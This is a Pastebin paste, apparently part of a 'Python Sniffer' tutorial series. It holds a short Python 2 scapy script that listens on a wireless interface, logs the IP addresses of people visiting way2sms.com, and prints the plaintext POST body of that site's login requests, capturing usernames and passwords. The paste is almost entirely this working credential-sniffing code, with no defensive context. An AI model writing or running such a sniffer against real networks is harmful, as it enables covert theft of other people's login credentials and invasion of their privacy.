SHARE
TWEET

Python Sniffer - Part 3

yeahhub Jul 1st, 2018 82 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. from scapy.all import *
  2. import re
  3.  
  4. conf.iface="wlan0"
  5. def sniffData(pkt):
  6.     if pkt.haslayer( Raw ):   # Check for the Data layer
  7.         header = pkt.getlayer( Raw ).load    # Get the sent data
  8.         if header.startswith('GET') or header.startswith('POST'):     # Make sure it's a request
  9.             if 'way2sms.com' in header:
  10.                 src = pkt.getlayer(IP).src
  11.                 print "%s visited the site: %s" % (src, 'way2sms.com')
  12.                 if header.startswith('POST'):
  13.                     if 'Login1.action' in header:
  14.                         data = header.split('\r\n\r\n')[1]
  15.                         print "[%s] POST data Captured: %s" % (src, data)
  16. sniff(prn=sniffData)
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top